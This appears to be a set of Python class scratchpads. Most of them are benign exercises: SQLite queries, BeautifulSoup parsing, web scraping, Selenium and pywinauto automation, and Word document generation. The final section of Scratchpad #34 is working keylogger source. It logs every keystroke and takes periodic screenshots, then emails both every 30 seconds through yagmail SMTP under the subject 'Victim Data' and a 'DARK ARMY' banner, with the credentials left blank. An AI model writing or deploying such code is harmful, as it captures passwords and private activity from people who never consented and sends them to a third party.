# Jack Ma|34
# Jack Ma|34
# sqlite>
# sqlite> SELECT * FROM students;
# John Doe|25
# Jane Doe|28
# Jack Ma|34
# Jane Doe|40
# Jack Ma|34
# Jack Ma|34
# sqlite>
# sqlite>
# sqlite> SELECT * FROM students WHERE age IS 34;;
# Jack Ma|34
# Jack Ma|34
# Jack Ma|34
# sqlite>
# sqlite> SELECT * FROM students WHERE age > 30;
# Jack Ma|34
# Jane Doe|40
# Jack Ma|34
# Jack Ma|34
# sqlite>
# sqlite> SELECT * FROM students WHERE age == 30;
# sqlite>
# sqlite>
# sqlite> SELECT * FROM students WHERE age IS 30;
# sqlite>
# sqlite> SELECT * FROM students WHERE age == 34;
# Jack Ma|34
# Jack Ma|34
# Jack Ma|34
# sqlite>
# sqlite> SELECT * FROM students WHERE age IS 34;
# Jack Ma|34
# Jack Ma|34
# Jack Ma|34
# sqlite>
# sqlite>
# sqlite>
# sqlite> SELECT * FROM students WHERE name LIKE "%an%";
# Jane Doe|28
# Jane Doe|40
# sqlite>
# sqlite>
# sqlite>
# sqlite> UPDATE students SET age = 40 WHERE name LIKE "%an%";
# sqlite>
# sqlite>
# sqlite> SELECT * FROM students WHERE name LIKE "%an%";
# Jane Doe|40
# Jane Doe|40
# sqlite>
# sqlite>
# sqlite>
# sqlite> DELETE FROM students WHERE age > 30;
# sqlite>
# sqlite> SELECT * FROM students;
# John Doe|25
# sqlite>
# sqlite>
# sqlite> DELETE from students;
# sqlite>
# sqlite> SELECT * FROM students;
# sqlite>
# sqlite> DROP TABLE students;
# sqlite>
# sqlite> .tables
# sqlite>
# sqlite>


import sqlite3

conn = sqlite3.connect("pyusers.db")

c = conn.cursor()

# c.execute("CREATE TABLE users (first_name TEXT, last_name TEXT, age INTEGER)")
# c.execute("INSERT INTO users VALUES ('john', 'doe', 25)")
# c.execute("INSERT INTO users VALUES ('jane', 'doe', 35)")

# users = [("jack", "ma", 30), ("james", "marsden", 45), ("jim", "halpert", 33)]

# query = """INSERT INTO users VALUES (?, ?, ?)"""
# c.executemany(query, users)

c.execute("SELECT * FROM users WHERE age > 30;")

# print(c)

for row in c:
    print(row)

# print(c.fetchall())

conn.commit()
conn.close()

Scratchpad #31

from bs4 import BeautifulSoup

data = """
<html>
  <head>
    <title>My Website</title>
  </head>
  <body>
    <h1 id="aniketh-heading">The Hello World Website!</h1>
    <h2 id="aniketh-heading">Welcome to the good part of the web.</h2>
    <h3>Welcome to the good part of the web.</h3>
    <h3>Welcome to the good part of the web.</h3>
    <h4>Welcome to the good part of the web.</h4>
    <h5>Welcome to the good part of the web.</h5>
    <h6>Welcome to the good part of the web.</h6>
    <p>
      Lorem ipsum dolor sit amet consectetur adipisicing elit. Illum vitae
      <em>laboriosam inventore</em>, unde id tempore reprehenderit molestiae
      ratione? <strong>Enim magni labore fuga</strong> dicta eaque eius
      consequatur, laborum ipsum repellat. Eum.
    </p>
    <hr />
    <img
      src="https://m.media-amazon.com/images/M/MV5BNzNjNGRmZjUtZWQxYS00YmIzLTk2ZWYtYmQxMWU0ZjhjNWNlXkEyXkFqcGdeQXVyNDUzOTQ5MjY@._V1_.jpg"
      width="200px"
      alt="The Great Kamal"
    />
    <hr class="special" />
    <article>
      <h4>Lorem ipsum dolor sit amet, consectetur adipisicing.</h4>
      <p>
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Voluptate
        provident eaque accusamus, voluptatem eos nemo et perferendis obcaecati
        rem quibusdam corrupti maiores harum quidem alias quam iure, iste
        temporibus amet!
      </p>
    </article>
    <article>
      <h4>Lorem ipsum dolor sit amet, consectetur adipisicing.</h4>
      <p id="impPara">
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Voluptate
        provident eaque accusamus, voluptatem eos nemo et perferendis obcaecati
        rem quibusdam corrupti maiores harum quidem alias quam iure, iste
        temporibus amet!
      </p>
      <p class="aniketh-text">
        Lorem, ipsum dolor sit amet consectetur adipisicing elit. Distinctio id
        pariatur sapiente praesentium quidem itaque rerum repellat accusamus
        quis maiores.
      </p>
    </article>
    <div>
      <h4 class="aniketh-text">
        Lorem ipsum dolor sit amet, consectetur adipisicing.
      </h4>
      <p>
        Lorem ipsum dolor sit amet consectetur adipisicing elit. Voluptate
        provident eaque accusamus, voluptatem eos nemo et perferendis obcaecati
        rem quibusdam corrupti maiores harum quidem alias quam iure, iste
        temporibus amet!
      </p>
      <p><a href="https://google.com">Go to Google</a></p>

      <a href="https://duckduckgo.com" target="_blank">Visit DuckDuckGo</a>
    </div>
    <ul>
      <li class="aniketh-text special">
        Lorem ipsum dolor sit amet, consectetur adipisicing.
      </li>
      <li class="emp-text special">
        Lorem ipsum dolor sit amet, consectetur adipisicing.
      </li>
      <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
      <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
      <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
    </ul>
    <ol>
      <li>
        Lorem ipsum dolor sit amet, consectetur adipisicing.
        <ul>
          <li>
            Lorem ipsum dolor sit amet.
            <ul>
              <li>Lorem ipsum dolor sit amet.</li>
              <li>Lorem ipsum dolor sit amet.</li>
              <li>Lorem ipsum dolor sit amet.</li>
              <li>Lorem ipsum dolor sit amet.</li>
            </ul>
          </li>
          <li>Lorem ipsum dolor sit amet.</li>
          <li>Lorem ipsum dolor sit amet.</li>
        </ul>
      </li>
      <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
      <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
      <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
      <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
    </ol>
    <section><p>kjsdnfkjsnfd</p></section>
  </body>
</html>
"""

soup = BeautifulSoup(data, "html.parser")

# print(type(soup))

# print(soup.body.h5)
# print(soup.body.p)

# ### 1. finding by element name
# h5 = soup.find("h5")
# h3s = soup.find_all("h3")
# print(type(h5))

# print(soup.find("ul"))
# print(type(h3s))
# print(soup.find("div"))


# ### 2. find by class and id
# print(soup.find_all(class_="special"))
# print(soup.find_all(class_="aniketh-text"))
# print(soup.find_all(id="impPara"))

# ### 3. find by attributes
# print(soup.find_all(attrs={"href": "https://google.com"}))


# print(soup.find_all("a"))
# print(soup.find("img"))


# ------------------------
# ########## CSS Selectors

# ### Find by tagname, class, id and other css selectors
# print(soup.select(".special"))
# print(soup.select("#impPara"))

# print(soup.select("ol > li"))
# print(soup.select("li"))

# print(soup.select("[href]"))
# print(soup.select("[id]"))

Scratchpad #32

# from bs4 import BeautifulSoup
# from pprint import pprint

# data = """
# <html>
#   <head>
#     <title>My Website</title>
#   </head>
#   <body>
#     <h1 id="aniketh-heading">The Hello World Website!</h1>
#     <h2 id="aniketh-heading">Welcome to the good part of the web.</h2>
#     <h3>Welcome to the good part of the web.</h3>
#     <h3>Welcome to the good part of the web.</h3>
#     <h4>Welcome to the good part of the web.</h4>
#     <h5>Welcome to the good part of the web.</h5>
#     <h6>Welcome to the good part of the web.</h6>
#     <p>
#       Lorem ipsum dolor sit amet consectetur adipisicing elit. Illum vitae
#       <em>laboriosam inventore</em>, unde id tempore reprehenderit molestiae
#       ratione? <strong>Enim magni labore fuga</strong> dicta eaque eius
#       consequatur, laborum ipsum repellat. Eum.
#     </p>
#     <hr />
#     <img
#       src="https://m.media-amazon.com/images/M/MV5BNzNjNGRmZjUtZWQxYS00YmIzLTk2ZWYtYmQxMWU0ZjhjNWNlXkEyXkFqcGdeQXVyNDUzOTQ5MjY@._V1_.jpg"
#       width="200px"
#       alt="The Great Kamal"
#     />
#     <hr class="special" />
#     <article>
#       <h4>Lorem ipsum dolor sit amet, consectetur adipisicing.</h4>
#       <p>
#         Lorem ipsum dolor sit amet consectetur adipisicing elit. Voluptate
#         provident eaque accusamus, voluptatem eos nemo et perferendis obcaecati
#         rem quibusdam corrupti maiores harum quidem alias quam iure, iste
#         temporibus amet!
#       </p>
#     </article>
#     <article>
#       <h4>Lorem ipsum dolor sit amet, consectetur adipisicing.</h4>
#       <p id="impPara">
#         Lorem ipsum dolor sit amet consectetur adipisicing elit. Voluptate
#         provident eaque accusamus, voluptatem eos nemo et perferendis obcaecati
#         rem quibusdam corrupti maiores harum quidem alias quam iure, iste
#         temporibus amet!
#       </p>
#       <p class="aniketh-text">
#         Lorem, ipsum dolor sit amet consectetur adipisicing elit. Distinctio id
#         pariatur sapiente praesentium quidem itaque rerum repellat accusamus
#         quis maiores.
#       </p>
#     </article>
#     <div>
#       <h4 class="aniketh-text">
#         Lorem ipsum dolor sit amet, consectetur adipisicing.
#       </h4>
#       <p>
#         Lorem ipsum dolor sit amet consectetur adipisicing elit. Voluptate
#         provident eaque accusamus, voluptatem eos nemo et perferendis obcaecati
#         rem quibusdam corrupti maiores harum quidem alias quam iure, iste
#         temporibus amet!
#       </p>
#       <p><a href="https://google.com">Go to Google</a></p>

#       <a href="https://duckduckgo.com" target="_blank">Visit DuckDuckGo</a>
#     </div>
#     <ul>
#       <li class="aniketh-text special">
#         Lorem ipsum dolor sit amet, consectetur adipisicing.
#       </li>
#       <li class="emp-text special">
#         Lorem ipsum dolor sit amet, consectetur adipisicing.
#       </li>
#       <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
#       <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
#       <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
#     </ul>
#     <ol>
#       <li>
#         Lorem ipsum dolor sit amet, consectetur adipisicing.
#         <ul>
#           <li>
#             Lorem ipsum dolor sit amet.
#             <ul>
#               <li>Lorem ipsum dolor sit amet.</li>
#               <li>Lorem ipsum dolor sit amet.</li>
#               <li>Lorem ipsum dolor sit amet.</li>
#               <li>Lorem ipsum dolor sit amet.</li>
#             </ul>
#           </li>
#           <li>Lorem ipsum dolor sit amet.</li>
#           <li>Lorem ipsum dolor sit amet.</li>
#         </ul>
#       </li>
#       <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
#       <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
#       <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
#       <li>Lorem ipsum dolor sit amet, consectetur adipisicing.</li>
#     </ol>
#     <section><p>kjsdnfkjsnfd</p></section>
#   </body>
# </html>
# """

# soup = BeautifulSoup(data, "html.parser")

# el = soup.body

# data = soup.body.article.contents
# data2 = soup.article.contents[0]
# data3 = soup.body.contents

# print(el)
# pprint(data[1].contents)


# pprint(data3)
# print(data3[1].next_sibling.next_sibling)
# print(data3[1].parent)

# named_list = soup.find(class_="aniketh-text")
# named_list = soup.find_all(class_="aniketh-text")

# print(named_list.next_sibling.next_sibling)
# print(named_list.parent)

# print(data3[1].find_next_sibling())
# print(data3[1].find_next_sibling().find_next_sibling())

# print(data3[5].find_previous_sibling())


# data4 = soup.select("[href]")
# print(data4[0])

# print(data4.find_parent())
# print(data4.find_parent("html"))

# h4_el = soup.find("h4")
# print(h4_el.get_text())

# li_els = soup.find_all("li")

# # print(li_els)

# for el in li_els:
#     print(el.get_text())


# a_els = soup.find_all("a")

# pprint(a_els[1]["target"])

# img_el = soup.find("img")

# print(img_el["src"])
# print(img_el["width"])


# import requests
# from bs4 import BeautifulSoup
# from pprint import pprint
# from csv import writer


# response = requests.get("https://arstechnica.com/")

# # print(response.text)

# soup = BeautifulSoup(response.text, "html.parser")

# articles = soup.find_all(class_="article")

# # pprint(articles)

# with open("articles.csv", "w", newline="") as file:
#     csv_writer = writer(file)
#     csv_writer.writerow(["title", "excerpt", "author", "published", "link"])

#     for article in articles:
#         title = article.find("h2").get_text()
#         excerpt = article.find(class_="excerpt").get_text()
#         author = article.find("span").get_text()
#         published = article.find("time").get_text()
#         link = article.find("a")["href"]

#         csv_writer.writerow([title, excerpt, author, published, link])

#         # obj = {"title": title, "excerpt": excerpt, "author": author, "published": published}
#         # print(obj, "\n")


import requests
from bs4 import BeautifulSoup
from pprint import pprint
from csv import writer

# from time import time

all_quotes = []
base_url = "http://quotes.toscrape.com"
url = "/page/1/"

while url:
    response = requests.get(f"{base_url}{url}")
    print(f"Now scraping {base_url}{url}")
    soup = BeautifulSoup(response.text, "html.parser")

    quotes = soup.find_all(class_="quote")

    for quote in quotes:
        text = quote.find(class_="text").get_text()
        author = quote.find(class_="author").get_text()

        all_quotes.append({"text": text, "author": author})

    next_btn = soup.find(class_="next")

    if next_btn:
        url = next_btn.find("a")["href"]
    else:
        url = None


print(all_quotes)

Scratchpad #33

# from selenium import webdriver
# from selenium.webdriver.common.keys import Keys
# from time import sleep

# browser = webdriver.Chrome("chromedriver.exe")

# browser.maximize_window()
# browser.get("https://www.youtube.com")
# sleep(5)

# search_box = browser.find_element_by_xpath(
#     "/html/body/ytd-app/div/div/ytd-masthead/div[3]/div[2]/ytd-searchbox/form/div/div[1]/input"
# )
# search_box.click()
# sleep(2)
# search_box.send_keys("desh drohi", Keys.ENTER)
# sleep(5)

# movie = browser.find_element_by_partial_link_text("Deshdrohi")
# sleep(2)
# movie.click()
# sleep(10)

# another_page = browser.find_element_by_xpath(
#     "/html/body/ytd-app/div/ytd-page-manager/ytd-watch-flexy/div[5]/div[2]/div/div[3]/ytd-watch-next-secondary-results-renderer/div[2]/ytd-compact-video-renderer[1]/div[1]/div/div[1]/a/h3/span"
# )
# another_page.click()
# sleep(10)

# browser.close()


# browser.maximize_window()
# browser.get("https://web.whatsapp.com")
# sleep(15)

# search_box = browser.find_element_by_xpath(
#     "/html/body/div/div[1]/div[1]/div[3]/div/div[1]/div/label/div/div[2]"
# )
# search_box.click()
# sleep(2)
# search_box.send_keys("PYTHON EVENING RS 23/2/21", Keys.ENTER)
# sleep(2)

# # python_grp = browser.find_element_by_xpath(
# #     "/html/body/div/div[1]/div[1]/div[3]/div/div[2]/div[1]/div/div/div[10]/div/div/div[2]/div[1]/div[1]/span/span"
# # )
# # python_grp.click()
# # sleep(10)

# # msg_box = browser.find_element_by_xpath(
# #     '//*[@id="main"]/footer/div[1]/div[2]/div/div[2]'
# # )
# msg_box = browser.find_element_by_xpath(
#     "/html/body/div/div[1]/div[1]/div[4]/div[1]/footer/div[1]/div[2]/div/div[2]"
# )
# sleep(2)
# msg_box.click()
# sleep(4)

# for i in range(20):
#     msg_box.send_keys(f"TEST MESSAGE {i}", Keys.ENTER)

# sleep(20)

# browser.close()


import docx
from docx.enum.text import WD_ALIGN_PARAGRAPH
from docx.shared import Inches

doc = docx.Document()

doc.add_heading("Python Evening Class Docx File", level=0)
doc.add_heading("This is a subtitle", level=2)

para = doc.add_paragraph(
    "Lorem ipsum dolor sit amet consectetur adipisicing elit. Cum similique, voluptates est cupiditate sed odit nihil odio quod numquam fugit veniam, in dolorum molestias inventore vitae molestiae velit iusto ipsa."
)

para.add_run("\n\nFugit veniam, in dolorum molestias inventore vitae molestiae velit")
doc.add_page_break()

doc.add_heading("Second page information", level=1)

para2 = doc.add_paragraph(
    "Lorem ipsum dolor sit amet consectetur adipisicing elit. Cum similique, voluptates est cupiditate sed odit nihil odio quod numquam fugit veniam, in dolorum molestias inventore vitae molestiae velit iusto ipsa."
)
para2.alignment = WD_ALIGN_PARAGRAPH.RIGHT
para2.add_run("molestias inventore vitae molestiae velit iusto ipsa.").bold = True

doc.save(
    r"C:\Users\rahul.LAPTOP-IB8N85JR\Desktop\Training\Python\python-24\scratchpads\mydoc.docx"
)

Scratchpad #34

# from pywinauto.application import Application
# import pywinauto
# from time import sleep

# app = Application(backend="uia").start("notepad.exe")
# app.Untitled.menu_select("Help->About Notepad")
# # app.Untitled.print_control_identifiers()

# # sleep(2)
# # app.Untitled.CloseButton2.click()

# top_window = app.top_window()
# sleep(2)
# # top_window.print_control_identifiers()
# top_window.OK.click()

# text = "Lorem, ipsum dolor sit amet consectetur adipisicing elit. Incidunt et autem fugit ratione quaerat eos tempora culpa deleniti quod ducimus delectus soluta ea, quibusdam placeat provident illum perferendis unde consectetur molestiae dolorem quas voluptas? Fugit voluptates aut recusandae quo iusto?"

# app.Untitled.Edit.type_keys(text, with_spaces=True)
# app.Untitled.menu_select("File->Save")

# save_window = app.Untitled.child_window(title="Save As")
# # save_window.print_control_identifiers()
# save_window.ComboBox.Edit.type_keys("python_auto.txt")
# save_window.Save.click()
# sleep(2)

# app.Untitled.CloseButton2.click()


# import pyautogui

# from pywinauto.application import Application
# from time import sleep

# app = Application(backend="uia").start("mspaint.exe")
# print(pyautogui.size())

# pyautogui.moveTo(200, 400)

# pyautogui.dragRel(200, 400, 1)

# sleep(1)
# distance = 200

# while distance > 0:
#     pyautogui.dragRel(distance, 0, duration=0.2)
#     distance = distance - 5
#     pyautogui.dragRel(0, distance, duration=0.2)
#     pyautogui.dragRel(-distance, 0, duration=0.2)
#     distance = distance - 5
#     pyautogui.dragRel(0, -distance, duration=0.2)

# pyautogui.screenshot("screen.png")

from pynput.keyboard import Key, Listener
import pyautogui
import yagmail
from datetime import datetime
import time
import os

os.system("cls")

count = 0
keys = []

try:
    print("Typing")

    def on_press(key):
        global keys, count
        keys.append(key)
        count += 1
        print(f"{key} pressed")
        if count >= 10:
            write_file(keys)
            keys = []

    def write_file(keys):
        with open("log.txt", "a") as f:
            for key in keys:
                k = str(key).replace("'", "")
                if k.find("space") > 0:
                    f.write(str(" "))
                elif k.find("cap_lock") > 0:
                    f.write(str("<CAPS_LOCK>"))
                elif k.find("enter") > 0:
                    f.write("\n")
                elif k.find("<97>") > -1:
                    f.write(str("1"))
                elif k.find("<98>") > -1:
                    f.write(str("2"))
                elif k.find("<99>") > -1:
                    f.write(str("3"))
                elif k.find("<100>") > -1:
                    f.write(str("4"))
                elif k.find("<101>") > -1:
                    f.write(str("5"))
                elif k.find("<102>") > -1:
                    f.write(str("6"))
                elif k.find("<103>") > -1:
                    f.write(str("7"))
                elif k.find("<104>") > -1:
                    f.write(str("8"))
                elif k.find("<105>") > -1:
                    f.write(str("9"))
                elif k.find("Key") == -1:
                    f.write(k)

    def take_screenshot():
        screen = pyautogui.screenshot()
        screen.save("victim_screen.png")

    def send_mail():
        receiver_email = "___________________"
        subject = f'Victim Data - {datetime.now().strftime("%d-%m-%Y %H-%M-%S")}'
        yag = yagmail.SMTP("______________", "_______________")
        contents = [
            "<b><font color='red' size='10'>YOUR VICTIM DATA - DARK ARMY</font></b>",
            "log.txt",
            "victim_screen.png",
        ]
        yag.send(receiver_email, subject, contents)

    def on_release(key):
        if key == Key.esc:
            return False  # False will stop the listener

    with Listener(on_press=on_press, on_release=on_release) as listener:
        while True:
            time.sleep(30)
            take_screenshot()
            send_mail()
        listener.join()
except KeyboardInterrupt:
    print("Program closed")